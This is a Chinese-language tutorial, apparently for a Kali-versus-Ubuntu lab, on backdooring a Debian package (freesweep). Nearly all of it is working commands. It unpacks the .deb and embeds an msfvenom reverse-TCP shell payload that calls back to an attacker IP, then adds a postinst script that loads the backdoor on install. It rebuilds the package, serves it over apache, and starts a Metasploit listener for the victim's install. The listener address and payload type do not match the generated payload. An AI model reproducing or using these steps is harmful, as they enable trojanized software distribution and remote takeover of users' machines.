攻击机:Kali
靶机:Ubuntu
- 安装下载软件
# apt --download-only install freesweep
2.解压软件包
kali更新或安装包的目录:/var/cache/apt/archives/
# cd /var/cache/apt/archives/
#ls
将这个压缩文件移到根目录下方便执行查询
# mv ./freesweep_1.0.2-1_amd64.deb ~/
# dpkg -x freesweep_1.0.2-1_amd64.deb free
我们将文件解压,进入free解压后目录中查看文件列表
3.生成恶意代码到软件包源文件夹中
# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.147.139 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources
4.创建软件包信息目录
# mkdir DEBIAN
# cd DEBIAN
# vim /root/free/DEBIAN/control
创建deb软件包,安装后脚本文件,来加载后门
给postinst加执行权限
# chmod 755 /root/free/DEBIAN/postinst
5.重新生成一个软件包
# dpkg-deb --build /root/free/
6 将deb提供下载
# systemctl start apache2
# systemctl status apache2
将free.deb复制到apache2 根目录
# cp free.deb /var/www/html/
7.启动msfconsole
8.启动监听
# msf5 \> use exploit/multi/handler
加载payload
# msf5 exploit(multi/handler) \> set payload linux/x64/meterpreter/reverse_tcp
设置监听主机
# msf5 exploit(multi/handler) \> set lhost 192.168.147.169
查看需要配置参数
# msf5 exploit(multi/handler) \> show options
10 靶机下载并安装带木马的deb软件
# wget http://192.168.147.139/free.deb
11.目标机安装软件
# dpkg -i free.deb